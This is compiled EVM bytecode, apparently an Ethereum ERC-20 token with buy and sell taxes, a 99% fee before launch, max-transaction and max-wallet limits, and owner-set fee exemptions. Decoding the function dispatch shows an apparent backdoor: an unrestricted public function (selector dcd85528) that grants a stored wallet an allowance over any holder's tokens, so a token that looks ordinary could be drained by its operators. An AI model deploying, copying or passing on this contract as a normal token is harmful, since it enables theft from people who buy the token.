565b600a60008282546126089190613a7a565b92505081905550612751565b600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561267257506000601060000154115b15612750576126a2606461269460106000015488612d3390919063ffffffff16565b612dad90919063ffffffff16565b9050601060000154601060030154826126bb9190613b1a565b6126c59190613b8b565b600960008282546126d69190613a7a565b92505081905550601060000154601060010154826126f49190613b1a565b6126fe9190613b8b565b6008600082825461270f9190613a7a565b925050819055506010600001546010600201548261272d9190613b1a565b6127379190613b8b565b600a60008282546127489190613a7a565b925050819055505b5b5b6000811115612767576127668730836128d6565b5b80856127739190613bbc565b9450505b6127828686866128d6565b5050505b505050565b60008383111582906127d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ca919061324b565b60405180910390fd5b50600083856127e29190613bbc565b9050809150509392505050565b60008082846127fe9190613a7a565b905083811015612843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283a90613c3c565b60405180910390fd5b8091505092915050565b6103e882612859610e84565b6128639190613b1a565b61286d9190613b8b565b6018819055506103e88161287f610e84565b6128899190613b1a565b6128939190613b8b565b6019819055505050565b6103e8816128a9610e84565b6128b39190613b1a565b6128bd9190613b8b565b601a8190555050565b6128d1838383611ccb565b505050565b61294181604051806060016040528060268152602001613ff9602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278b9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129d4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ef90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a739190613424565b60405180910390a3505050565b6000612a8b30611253565b90506000600a54600854600954612aa29190613a7a565b612aac9190613a7a565b905060008203612abd575050612d31565b6023600654612acc9190613b1a565b821115612ae5576023600654612ae29190613b1a565b91505b600060028260095485612af89190613b1a565b612b029190613b8b565b612b0c9190613b8b565b90506000612b238285612df790919063ffffffff16565b90506000479050612b3382612e41565b6000612b488247612df790919063ffffffff16565b90506000612b7386612b6560085485612d3390919063ffffffff16565b612dad90919063ffffffff16565b90506000612b9e87612b90600a5486612d3390919063ffffffff16565b612dad90919063ffffffff16565b905060008183612bae9190613a7a565b84612bb99190613bbc565b9050600284612bc89190613b8b565b83612bd39190613a7a565b9250600060098190555060006008819055506000600a81905550600087118015612bfd5750600081115b15612c4657612c0c878261307e565b7f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f83814868682604051612c3d929190613c5c565b60405180910390a15b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015612cae573d6000803e3d6000fd5b5060009250601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8486612cfb9190613bbc565b9081150290604051600060405180830381858888f19350505050158015612d26573d6000803e3d6000fd5b505050505050505050505b565b6000808303612d455760009050612da7565b60008284612d539190613b1a565b9050828482612d629190613b8b565b14612da2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9990613cf7565b60405180910390fd5b809150505b92915050565b6000612def83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613158565b905092915050565b6000612e3983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061278b565b905092915050565b6000600267ffffffffffffffff811115612e5e57612e5d613d17565b5b604051908082528060200260200182016040528015612e8c5781602001602082028036833780820191505090505b5090503081600081518110612ea457612ea3613d46565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f6d9190613d8a565b81600181518110612f8157612f80613d46565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612fe6307f000000000000000000000000000000000000000000000000000000000000000084611ccb565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613048959493929190613eb0565b600060405180830381600087803b15801561306257600080fd5b505af1158015613076573d6000803e3d6000fd5b505050505050565b6130a9307f000000000000000000000000000000000000000000000000000000000000000084611ccb565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161310e96959493929190613f0a565b60606040518083038185885af115801561312c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131519190613f80565b5050505050565b6000808311829061319f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613196919061324b565b60405180910390fd5b50600083856131ae9190613b8b565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156131f55780820151818401526020810190506131da565b60008484015250505050565b6000601f19601f8301169050919050565b600061321d826131bb565b61322781856131c6565b93506132378185602086016131d7565b61324081613201565b840191505092915050565b600060208201905081810360008301526132658184613212565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061329d82613272565b9050919050565b6132ad81613292565b81146132b857600080fd5b50565b6000813590506132ca816132a4565b92915050565b6000602082840312156132e6576132e561326d565b5b60006132f4848285016132bb565b91505092915050565b6000819050919050565b613310816132fd565b811461331b57600080fd5b50565b60008135905061332d81613307565b92915050565b6000806040838503121561334a5761334961326d565b5b6000613358858286016132bb565b92505060206133698582860161331e565b9150509250929050565b60008115159050919050565b61338881613373565b82525050565b60006020820190506133a3600083018461337f565b92915050565b6133b281613373565b81146133bd57600080fd5b50565b6000813590506133cf816133a9565b92915050565b600080604083850312156133ec576133eb61326d565b5b60006133fa858286016132bb565b925050602061340b858286016133c0565b9150509250929050565b61341e816132fd565b82525050565b60006020820190506134396000830184613415565b92915050565b6000602082840312156134555761345461326d565b5b6000613463848285016133c0565b91505092915050565b6000806000606084860312156134855761348461326d565b5b6000613493868287016132bb565b93505060206134a4868287016132bb565b92505060406134b58682870161331e565b9150509250925092565b6000610100820190506134d5600083018b613415565b6134e2602083018a613415565b6134ef6040830189613415565b6134fc6060830188613415565b6135096080830187613415565b61351660a0830186613415565b61352360c0830185613415565b61353060e0830184613415565b9998505050505050505050565b600060ff82169050919050565b6135538161353d565b82525050565b600060208201905061356e600083018461354a565b92915050565b61357d81613292565b82525050565b60006020820190506135986000830184613574565b92915050565b6000602082840312156135b4576135b361326d565b5b60006135c28482850161331e565b91505092915050565b600080604083850312156135e2576135e161326d565b5b60006135f0858286016132bb565b9250506020613601858286016132bb565b9150509250929050565b6000819050919050565b600061363061362b61362684613272565b61360b565b613272565b9050919050565b600061364282613615565b9050919050565b600061365482613637565b9050919050565b61366481613649565b82525050565b600060208201905061367f600083018461365b565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806136cc57607f821691505b6020821081036136df576136de613685565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061371b6020836131c6565b9150613726826136e5565b602082019050919050565b6000602082019050818103600083015261374a8161370e565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f756e695632506169724164647200000000000000000000000000000000000000602082015250565b60006137ad602d836131c6565b91506137b882613751565b604082019050919050565b600060208201905081810360008301526137dc816137a0565b9050919050565b600081905092915050565b50565b60006137fe6000836137e3565b9150613809826137ee565b600082019050919050565b600061381f826137f1565b9150819050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006138856026836131c6565b915061389082613829565b604082019050919050565b600060208201905081810360008301526138b481613878565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006138f16016836131c6565b91506138fc826138bb565b602082019050919050565b60006020820190508181036000830152613920816138e4565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006139836035836131c6565b915061398e82613927565b604082019050919050565b600060208201905081810360008301526139b281613976565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613a156036836131c6565b9150613a20826139b9565b604082019050919050565b60006020820190508181036000830152613a4481613a08565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613a85826132fd565b9150613a90836132fd565b9250828201905080821115613aa857613aa7613a4b565b5b92915050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613ae46013836131c6565b9150613aef82613aae565b602082019050919050565b60006020820190508181036000830152613b1381613ad7565b9050919050565b6000613b25826132fd565b9150613b30836132fd565b9250828202613b3e816132fd565b91508282048414831517613b5557613b54613a4b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613b96826132fd565b9150613ba1836132fd565b925082613bb157613bb0613b5c565b5b828204905092915050565b6000613bc7826132fd565b9150613bd2836132fd565b9250828203905081811115613bea57613be9613a4b565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c26601b836131c6565b9150613c3182613bf0565b602082019050919050565b60006020820190508181036000830152613c5581613c19565b9050919050565b6000604082019050613c716000830185613415565b613c7e6020830184613415565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ce16021836131c6565b9150613cec82613c85565b604082019050919050565b60006020820190508181036000830152613d1081613cd4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613d84816132a4565b92915050565b600060208284031215613da057613d9f61326d565b5b6000613dae84828501613d75565b91505092915050565b6000819050919050565b6000613ddc613dd7613dd284613db7565b61360b565b6132fd565b9050919050565b613dec81613dc1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e2781613292565b82525050565b6000613e398383613e1e565b60208301905092915050565b6000602082019050919050565b6000613e5d82613df2565b613e678185613dfd565b9350613e7283613e0e565b8060005b83811015613ea3578151613e8a8882613e2d565b9750613e9583613e45565b925050600181019050613e76565b5085935050505092915050565b600060a082019050613ec56000830188613415565b613ed26020830187613de3565b8181036040830152613ee48186613e52565b9050613ef36060830185613574565b613f006080830184613415565b9695505050505050565b600060c082019050613f1f6000830189613574565b613f2c6020830188613415565b613f396040830187613de3565b613f466060830186613de3565b613f536080830185613574565b613f6060a0830184613415565b979650505050505050565b600081519050613f7a81613307565b92915050565b600080600060608486031215613f9957613f9861326d565b5b6000613fa786828701613f6b565b9350506020613fb886828701613f6b565b9250506040613fc986828701613f6b565b915050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d4f569301fbc66aa64a01749a9af559256343d3a912defabaef0e8270966f87f64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102345760003560e01c8063715018a61161012e578063c0246668116100ab578063eb3252211161006f578063eb325221146108c5578063ef8700e514610902578063f2fde38b1461092d578063f887ea4014610956578063fcb9665e1461098157610273565b8063c0246668146107e2578063dcd855281461080b578063dd62ed3e14610834578063dea9f43014610871578063e16830a81461089c57610273565b806395d89b41116100f257806395d89b41146106d5578063963932b414610700578063a457c2d71461073d578063a9059cbb1461077a578063b7663029146107b757610273565b8063715018a61461062857806372cbadb11461063f578063751039fc1461066a5780637571336a146106815780638da5cb5b146106aa57610273565b806323b872dd116101bc5780633ccfd60b116101805780633ccfd60b1461051b578063414520b41461054657806349bd5a5e146105835780634fbee193146105ae57806370a08231146105eb57610273565b806323b872dd1461041957806325313d2e14610456578063313ce5671461048857806335fe822d146104b357806339509351146104de57610273565b806310d5de531161020357806310d5de531461033257806318160ddd1461036f5780631a8145bb1461039a5780631c6e8a75146103c55780631f3fed8f146103ee57610273565b806306fdde031461027857806307980cb9146102a3578063095ea7b3146102cc5780630b1c71821461030957610273565b36610273573073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361027157600080fd5b005b600080fd5b34801561028457600080fd5b5061028d6109ac565b60405161029a919061324b565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c591906132d0565b610a3e565b005b3480156102d857600080fd5b506102f360048036038101906102ee9190613333565b610cc4565b604051610300919061338e565b60405180910390f35b34801561031557600080fd5b50610330600480360381019061032b91906133d5565b610ce2565b005b34801561033e57600080fd5b50610359600480360381019061035491906132d0565b610e64565b604051610366919061338e565b60405180910390f35b34801561037b57600080fd5b50610384610e84565b6040516103919190613424565b60405180910390f35b3480156103a657600080fd5b506103af610e8e565b6040516103bc9190613424565b60405180910390f35b3480156103d157600080fd5b506103ec60048036038101906103e7919061343f565b610e94565b005b3480156103fa57600080fd5b50610403610f48565b6040516104109190613424565b60405180910390f35b34801561042557600080fd5b50610440600480360381019061043b919061346c565b610f4e565b60405161044d919061338e565b60405180910390f35b34801561046257600080fd5b5061046b611027565b60405161047f9897969594939291906134bf565b60405180910390f35b34801561049457600080fd5b5061049d61105d565b6040516104aa9190613559565b60405180910390f35b3480156104bf57600080fd5b506104c8611066565b6040516104d59190613424565b60405180910390f35b3480156104ea57600080fd5b5061050560048036038101906105009190613333565b61106c565b604051610512919061338e565b60405180910390f35b34801561052757600080fd5b5061053061111f565b60405161053d919061338e565b60405180910390f35b34801561055257600080fd5b5061056d600480360381019061056891906132d0565b6111b7565b60405161057a919061338e565b60405180910390f35b34801561058f57600080fd5b506105986111d7565b6040516105a59190613583565b60405180910390f35b3480156105ba57600080fd5b506105d560048036038101906105d091906132d0565b6111fd565b6040516105e2919061338e565b60405180910390f35b3480156105f757600080fd5b50610612600480360381019061060d91906132d0565b611253565b60405161061f9190613424565b60405180910390f35b34801561063457600080fd5b5061063d61129b565b005b34801561064b57600080fd5b506106546113f3565b6040516106619190613424565b60405180910390f35b34801561067657600080fd5b5061067f6113f9565b005b34801561068d57600080fd5b506106a860048036038101906106a391906133d5565b6114a9565b005b3480156106b657600080fd5b506106bf61159b565b6040516106cc9190613583565b60405180910390f35b3480156106e157600080fd5b506106ea6115c5565b6040516106f7919061324b565b60405180910390f35b34801561070c57600080fd5b506107276004803603810190610722919061359e565b611657565b604051610734919061338e565b60405180910390f35b34801561074957600080fd5b50610764600480360381019061075f9190613333565b611700565b604051610771919061338e565b60405180910390f35b34801561078657600080fd5b506107a1600480360381019061079c9190613333565b6117cd565b6040516107ae919061338e565b60405180910390f35b3480156107c357600080fd5b506107cc6117eb565b6040516107d9919061338e565b60405180910390f35b3480156107ee57600080fd5b50610809600480360381019061080491906133d5565b6117fe565b005b34801561081757600080fd5b50610832600480360381019061082d9190613333565b6118f0565b005b34801561084057600080fd5b5061085b600480360381019061085691906135cb565b611921565b6040516108689190613424565b60405180910390f35b34801561087d57600080fd5b506108866119a8565b604051610893919061338e565b60405180910390f35b3480156108a857600080fd5b506108c360048036038101906108be91906133d5565b6119bb565b005b3480156108d157600080fd5b506108ec60048036038101906108e791906132d0565b611aad565b6040516108f9919061338e565b60405180910390f35b34801561090e57600080fd5b50610917611acd565b6040516109249190613424565b60405180910390f35b34801561093957600080fd5b50610954600480360381019061094f91906132d0565b611ad3565b005b34801561096257600080fd5b5061096b611c99565b604051610978919061366a565b60405180910390f35b34801561098d57600080fd5b50610996611cbd565b6040516109a39190613424565b60405180910390f35b6060600380546109bb906136b4565b80601f01602080910402602001604051908101604052809291908181526020018280546109e7906136b4565b8015610a345780601f10610a0957610100808354040283529160200191610a34565b820191906000526020600020905b815481529060010190602001808311610a1757829003601f168201915b5050505050905090565b610a46611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc90613731565b60405180910390fd5b80601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760006101000a81548160ff0219169083151502179055506001600760016101000a81548160ff02191690831515021790555043600b8190555050565b6000610cd8610cd1611cc3565b8484611ccb565b6001905092915050565b610cea611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7090613731565b60405180910390fd5b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e00906137c3565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600254905090565b60095481565b610e9c611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2290613731565b60405180910390fd5b80600760016101000a81548160ff02191690831515021790555050565b60085481565b6000610f5b848484611db6565b61101c84610f67611cc3565b6110178560405180606001604052806028815260200161401f60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fcd611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278b9092919063ffffffff16565b611ccb565b600190509392505050565b60108060000154908060010154908060020154908060030154908060040154908060050154908060060154908060070154905088565b60006012905090565b60195481565b6000611115611079611cc3565b84611110856001600061108a611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ef90919063ffffffff16565b611ccb565b6001905092915050565b600080479050601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161116b90613814565b60006040518083038185875af1925050503d80600081146111a8576040519150601f19603f3d011682016040523d82523d6000602084013e6111ad565b606091505b5050809250505090565b600f6020528060005260406000206000915054906101000a900460ff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112a3611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611332576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132990613731565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601a5481565b611401611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611490576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148790613731565b60405180910390fd5b61149c6103e88061284d565b6114a76103e861289d565b565b6114b1611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790613731565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546115d4906136b4565b80601f0160208091040260200160405190810160405280929190818152602001828054611600906136b4565b801561164d5780601f106116225761010080835404028352916020019161164d565b820191906000526020600020905b81548152906001019060200180831161163057829003601f168201915b5050505050905090565b6000611661611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e790613731565b60405180910390fd5b8160068190555060019050919050565b60006117c361170d611cc3565b846117be85604051806060016040528060258152602001613fd46025913960016000611737611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278b9092919063ffffffff16565b611ccb565b6001905092915050565b60006117e16117da611cc3565b8484611db6565b6001905092915050565b600760029054906101000a900460ff1681565b611806611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c90613731565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61191d82601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836128c6565b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760019054906101000a900460ff1681565b6119c3611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4990613731565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b600a5481565b611adb611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6190613731565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd09061389b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60185481565b600033905090565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611da99190613424565b60405180910390a3505050565b60008103611dcf57611dca838360006128d6565b612786565b611dd761159b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e455750611e1561159b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5e5750600760029054906101000a900460ff16155b156121e457600760009054906101000a900460ff16611f5857600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f185750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4e90613907565b60405180910390fd5b5b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ffb5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561204a57601854811115612045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203c90613999565b60405180910390fd5b612139565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156120ed5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561213857601954811115612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e90613a2b565b60405180910390fd5b5b5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121e357601a5461219683611253565b826121a19190613a7a565b11156121e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d990613afa565b60405180910390fd5b5b5b60006121ef30611253565b905060006006548210159050600760019054906101000a900460ff1680156122145750805b801561222d5750600760029054906101000a900460ff16155b80156122825750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156122d85750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561232e5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612372576001600760026101000a81548160ff021916908315150217905550612356612a80565b6000600760026101000a81548160ff0219169083151502179055505b6000600760029054906101000a900460ff16159050600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124285750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561243257600090505b8015612777576000600b544310156124d45761246b606461245d606388612d3390919063ffffffff16565b612dad90919063ffffffff16565b90506063605e8261247c9190613b1a565b6124869190613b8b565b600860008282546124979190613a7a565b9250508190555060636005826124ad9190613b1a565b6124b79190613b8b565b600a60008282546124c89190613a7a565b92505081905550612752565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561253257506000601060040154115b1561261457612562606461255460106004015488612d3390919063ffffffff16565b612dad90919063ffffffff16565b90506010600401546010600701548261257b9190613b1a565b6125859190613b8b565b600960008282546125969190613a7a565b92505081905550601060040154601060050154826125b49190613b1a565b6125be9190613b8b565b600860008282546125cf9190613a7a565b92505081905550601060040154601060060154826125ed9190613b1a565b6125f79190613b8b565b600a60008282546126089190613a7a565b92505081905550612751565b600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561267257506000601060000154115b15612750576126a2606461269460106000015488612d3390919063ffffffff16565b612dad90919063ffffffff16565b9050601060000154601060030154826126bb9190613b1a565b6126c59190613b8b565b600960008282546126d69190613a7a565b